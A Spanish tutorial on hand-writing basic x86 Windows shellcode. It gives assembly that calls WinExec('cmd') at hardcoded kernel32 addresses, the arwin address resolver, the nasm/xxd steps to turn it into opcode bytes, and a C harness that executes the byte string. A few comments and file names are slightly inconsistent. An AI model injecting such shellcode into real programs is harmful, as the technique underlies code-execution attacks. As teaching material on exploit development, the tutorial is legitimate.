Creando una Shellcode (x86)

Creando una Shellcode (x86)

por lShadowl


Conocimientos previos requeridos: asm 32b y C

Conocimientos previos:
-Que es una shellcode?
“Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.(…)” >> http://es.wikipedia.org/wiki/Shellcode

Herramientas usadas en este tutorial¦Descarga:

Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.

La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:

—–Categoria Devel—-
>binutils
>gcc
>nasm
—-Categoria System—-
>util-linux

Otras herramientas y scripts usados estan como codigo fuente en el tutorial.


Introduccion

Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el

proceso en 2 partes: codificacion en ensamblador y conversion a opcode.

El objetivo del tutorial es crear una shellcode que abra una cmd.


Codificacion en ensamblador

Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones “WinExec” [con que ejecutaremos la cmd] y “ExitProcess” [con la cual saldremos del programa], ambas se encuentran en la dll “kernel32″.
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a “arwin”, un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:

Código
#include <windows.h>
#include <stdio.h>

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
   vividmachines.com
   shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/

int main(int argc, char** argv)
{
	HMODULE hmod_libname;
	FARPROC fprc_func;

	printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
	if(argc < 3)
	{
		printf("%s <Library Name> <Function Name>\n",argv[0]);
		exit(-1);
	}

	hmod_libname = LoadLibrary(argv[1]);
	if(hmod_libname == NULL)
	{
		printf("Error: could not load library!\n");
		exit(-1);
	}
	fprc_func = GetProcAddress(hmod_libname,argv[2]);

	if(fprc_func == NULL)
	{
		printf("Error: could find the function in the library!\n");
		exit(-1);
	}
	printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);

}

Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.

Ya con arwin usaremos la linea:

$ arwin kernel32.dll WinExec

con lo cual obtendremos un resultado parecido a este:

El mismo proceso para buscar “ExitProcess”. >>

Ahora que tenemos las direcciones, pasemos al code en asm.

——————————————————————————————–

Código
BITS 32                  ;especificamos que el code es 32bits

jmp short cmd                  ;"cmd" a la pila

init:
   mov edx,7C8623ADh      ; 7C8623ADh>>direccion de WinExec a edx
   call edx                             ; hacemos la llamada (recordemos que "cmd" esta en la pila)
   mov edx,7C81CAFAh      ; 7C8623ADh>>direccion de ExitProcess a edx
   call edx                            ; salimos

cmd:
   CALL init
   db 'cmd',00h    ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio

——————————————————————————————–

Para cuestiones de seguimiento, llamaremos a este archivo “shc.asm”.


Conversion a opcode

Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:

$ nasm -f bin -o shc.bin shc.asm

En shc.bin tendremos algo como esto:

Código:
뺭#†|ÿÒºúʁ|ÿÒèíÿÿÿcmd

luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:

$ xxd -i shc.asm

y nos devolvera esto:

Y listo, tenemos nuestra shellcode lista en C:

Código
unsigned char shc_bin[] = {
  0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca,
  0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64,
  0x00
};
unsigned int shc_bin_len = 25;

Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:

Código
#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi

filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo

De esta forma::

$ xxd-shellcode.sh shc.bin

Devolvera esto:

y en shc.shellcode los opcodes

Código
\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64

Ahora veamos la plantilla en C para probarla

————————–

Código
char code[] = "[b]OPCODES[/b]";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

————————–

Asi que tendriamos en sch.c …:

Código
char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Compilamos ($ gcc -o shc shc.c) y probamos:


Saludos!


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